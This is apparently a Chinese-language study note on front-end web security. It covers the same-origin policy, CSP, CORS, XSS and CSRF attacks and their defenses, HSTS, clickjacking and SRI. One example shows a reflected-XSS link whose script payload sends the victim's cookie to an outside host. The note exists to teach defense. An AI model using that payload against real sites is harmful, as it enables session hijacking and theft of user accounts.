同源策略
- 同源: 两个URL的协议、域名和端口都相同。
- 浏览器默认两个相同的源之间是可以互相访问资源和操作DOM的。
- 不同源不能随意操作DOM、localStorage、Cookie、IndexDB等。
不受同源策略的标签
- script、img、iframe、link 等标签都可以跨域加载资源
CSP
- CSP(Content-Security-Policy): 内容安全策略,
- 可以禁止加载外域的代码,禁止向外域的提交,禁止执行内联脚本和未授权的脚本。
- 核心思想:让服务器决定浏览器能够加载那些资源,让服务器决定浏览器是否能够执行内联JavaScript代码。
// HTTP头
Content-Security-Policy: <policy-directive>; <policy-directive>
CORS
- CORS 跨域资源共享
- 它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。
XSS
- Cross Site Scripting, 跨站脚本
- XSS 攻击是指黑客往 HTML 文件中或者 DOM 中注入恶意脚本,从而在用户浏览页面时利用注入的恶意脚本对用户实施攻击的一种手段
- 存储型XSS攻击:存到数据库中,用户访问特定页面时,获取用户的cookie等登陆信息。
例如:黑客将包含恶意js的代码写进博客中,
而该博客网站没有进行有效过滤,
那么当其他用户访问该博客的时候,就都会执行这个恶意js。
- 反射型XSS攻击:诱导用户点击一些恶意的链接。
例如:有一个搜索页面,搜索关键词没有进行过滤,
那么这个恶意链接可能会是:
http://XX.com/search?keyword=<script>document.location='http://ss.com?cookie=document.cookie'</script>
然后,用户的点击访问后,就将自己的cookie暴露了。
- 基于DOM的XSS攻击,通过Web资源传输的过程,修改Web页面。
- XSS攻击,可以获取cookie、加载远程js、模拟请求一些操作性的网址(例如:delete/{id})、插入图片、iframe等,所有js可以操作的事情。
阻止XSS攻击的策略
- 服务器对输入脚本进行过滤或转码,JavascriptEncode、URLEncode
- CSP
- HttpOnly。使用HttpOnly来标记Cookie,使得Cookie只能被使用为HTTP请求过程中,而无法通过JS进行获取。
CSRF攻击
- Cross-site request forgery, 跨站请求伪造
- 黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户在 第三方网站的登录状态 发起的跨站请求。
存在三个对象,用户本人、A网站、危险B网站
用户登陆A网站,在不登出A网站的基础上,访问B网站。
B网站便可以获取A网站的已登录状态,攻击A网站。
- 和 XSS 不同的是,CSRF 攻击不需要将恶意代码注入用户的页面,仅仅是利用服务器的漏洞和用户的登录状态来实施攻击。
避免CSRF攻击的策略
- Cookie 的 SameSite 属性,SameSite:Strict,禁止第三方cookie;SameSite:lax,get请求会携带;none:都会携带;
- 验证请求的来源站点:HTTP的referer和Origin属性。
- CSRF的Token,构造一个随机的Token,使得恶意网站无法自行生成。
HTTPS
HSTS
- HTTP 严格传输安全(HTTP Strict Transport Security)
- 网站用来声明他们只能使用安全连接(HTTPS)访问的方法
- HTTP响应头: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
- HSTS 报头不可信,除非它是通过 HTTPS 传递的。
- 目前唯一可用于绕过 HSTS 的已知方法是基于 NTP 的攻击。
NTP
- Network Time Protocol(网络时间协议)
X-Frame-Options
- 控制当前页面是否允许被嵌入到 iframe、frame、object 中。
- 避免 点击劫持 攻击
- 设置元标记是没用的!例如,没有效果。不要使用它!只有设置HTTP头X-Frame-Options才能工作。
- 点击劫持 : 攻击者使用一个透明的、不可见的iframe,覆盖在一个网页上,然后诱使用户在网页上操作。
SRI(Subresource Integrity)
- 检查获得的子资源(例如从CDN)是否被篡改。将使用 base64 编码后文件哈希值写入 script 或 link 标签的 integrity 属性
Referer-Policy
- 控制 referer 的携带策略
参考文章
浅谈前端安全
网络安全系列
CSP
CORS
什么是HSTS,为什么要使用它?
X-Frame-Options
SRI